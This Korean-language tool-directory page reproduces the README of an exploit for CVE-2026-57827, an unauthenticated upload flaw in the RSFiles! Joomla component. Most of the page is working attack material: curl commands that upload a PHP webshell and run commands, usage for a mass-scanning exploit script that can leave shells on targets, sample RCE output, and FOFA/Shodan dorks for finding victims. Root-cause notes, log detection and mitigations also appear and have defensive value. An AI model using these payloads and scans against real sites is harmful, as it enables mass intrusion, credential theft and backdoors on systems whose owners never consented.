Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/shinthink/cve-2026-57827
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubshinthink/cve-2026-57827

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

15222일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-57827 — RSFiles! Joomla 컴포넌트 인증 없는 파일 업로드 RCE

분할 컨트롤러 업로드 우회 → 직접 쓰기 태스크 → /downloads/shell.php → RCE


개요

CVE-2026-57827은 Joomla용으로 널리 사용되는 파일 관리 및 다운로드 컴포넌트인 RSFiles!(com_rsfiles) 버전 < 1.17.12에서 발생하는 치명적 심각도(CVSS 9.8)의 인증 없는 임의 파일 업로드 취약점입니다.

이 취약점은 분할 컨트롤러 설계 결함을 악용합니다. RSFiles!는 업로드를 두 개의 프론트엔드 태스크로 분리합니다 — 사전 점검(권한 게이트 + 확장자 허용 목록)과 쓰기 메서드(파일을 디스크에 저장). 쓰기 메서드는 사전 점검을 완전히 우회하여 직접 호출될 수 있습니다. 인증도, CSRF 토큰도 필요하지 않습니다.

영향을 받는 버전

버전상태
< 1.17.12취약
1.17.12+패치됨

발견자: Phil Taylor, mySites.guru (2026년 7월 10일) 공급업체: RSJoomla (rsjoomla.com) 컴포넌트: com_rsfiles


취약점 메커니즘

근본 원인

RSFiles!는 /components/com_rsfiles/controllers/rsfiles.php에서 업로드를 두 개의 별도 프론트엔드 태스크로 분리합니다:

root@kitploit:~
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

작동 원리

  1. 분할 컨트롤러 — 보안 검사와 파일 쓰기가 서로 다른 두 메서드에 있습니다. 사전 점검만 보호됩니다.
  2. 직접 태스크 접근 — Joomla의 프론트엔드 컨트롤러는 &task=rsfiles.upload를 통해 어떤 태스크든 직접 호출할 수 있게 하여 사전 점검을 완전히 건너뜁니다.
  3. 인증 없음 — 프론트엔드 컨트롤러에는 접근 검사가 없습니다. 익명 방문자가 쓰기 태스크를 호출할 수 있습니다.
  4. CSRF 토큰 없음 — 프론트엔드 업로드 폼에는 사이트 전체 CSRF 토큰이 없습니다.
  5. 파일 형식 검증 없음 — 쓰기 메서드는 요청에서 파일명을 읽어 Joomla에 내장된 업로드 핸들러(JFile::upload())로 전달하는데, 이 핸들러는 기본적으로 모든 파일 형식을 허용합니다.
  6. 웹 루트 downloads 폴더 — RSFiles!의 기본 downloads 폴더는 웹 루트 안에 있습니다. PHP 실행을 차단하는 보호용 .htaccess는 기본적으로 OFF인 선택(opt-in) 관리자 설정입니다.

공격 흐름

root@kitploit:~
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

검증된 소스 코드 참조

서버 로그 탐지 (RSJoomla 권고 기준)

root@kitploit:~
Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

주요 설계 결함

보안 검사(권한 게이트 + 확장자 허용 목록)는 실제로 파일을 쓰는 메서드와 분리된 사전 점검 단계입니다. 검사는 첫 번째 단계에만 있습니다. 두 번째 단계 — 디스크에 쓰는 단계 — 는 URL에 올바른 task 매개변수를 구성하여 직접 호출할 수 있으므로 모든 보안 통제를 우회합니다.

이것은 "검사와 동작이 서로 다른 위치에 있는" 안티패턴의 전형적인 사례입니다. 보호 장치와 보호 대상 작업이 분리되어 있어, 공격자는 보호 장치를 통과하지 않고도 작업에 도달할 수 있습니다.


설치

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

사용법

root@kitploit:~
# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

인자

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

개념 증명

단일 대상

root@kitploit:~
$ python cve_2026_57827.py -t joomla-site.com
root@kitploit:~
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

수동 익스플로잇

1단계 — 셸 업로드

root@kitploit:~
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

2단계 — 셸 접근

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id'

3단계 — 명령 실행

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

완화 조치 (업데이트가 불가능한 경우)

root@kitploit:~
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

root@kitploit:~
FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

영향

익스플로잇에 성공하면 웹 서버 사용자 권한으로 원격 코드 실행이 가능해집니다:

  • configuration.php 추출 → 데이터베이스 자격 증명, SMTP 비밀번호
  • 모든 Joomla 콘텐츠, 사용자 및 확장 기능 데이터 접근
  • 지속성 백도어 배포
  • 내부 네트워크로 피벗
  • 웹사이트 변조 또는 악성코드 주입

어떤 단계에서도 사이트 계정이 필요하지 않습니다. 익명, 비인증, 원격 공격입니다.


수정 사항 (1.17.12)

RSJoomla는 버전 1.17.12에서 다음과 같이 취약점을 수정했습니다:

  • 쓰기 메서드 자체에 권한 검사 추가 (사전 점검뿐만 아니라)
  • 쓰기 메서드에 파일 형식 검증 추가
  • 프론트엔드 업로드 엔드포인트에 CSRF 토큰 강제
  • downloads 폴더의 .htaccess 보호를 기본 활성화로 변경

면책 조항

교육 및 승인된 테스트 목적으로만 사용하십시오.

소유자의 명시적 허가 없이 시스템을 대상으로 사용하지 마십시오. 저자는 오용에 대한 책임을 지지 않습니다.


참고 자료


RSJoomla 또는 mySites.guru와 제휴 관계가 아닙니다.

도구 다운로드
파일용도
/components/com_rsfiles/controllers/rsfiles.php취약한 upload() 및 checkupload() 태스크가 있는 컨트롤러
/components/com_rsfiles/views/upload/tmpl/upload.php프론트엔드 업로드 폼 템플릿 (확인됨: name="file", task=rsfiles.upload)
/downloads/웹 루트의 기본 downloads 폴더 (.htaccess 보호 기본 OFF)
/briefcase/Briefcase 폴더 (쓰기도 가능)
리소스링크
NVD 항목CVE-2026-57827
mySites.guru 권고mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
RSJoomla 권고rsjoomla.com
CWE-434위험한 유형의 파일 무제한 업로드
보고자Phil Taylor, mySites.guru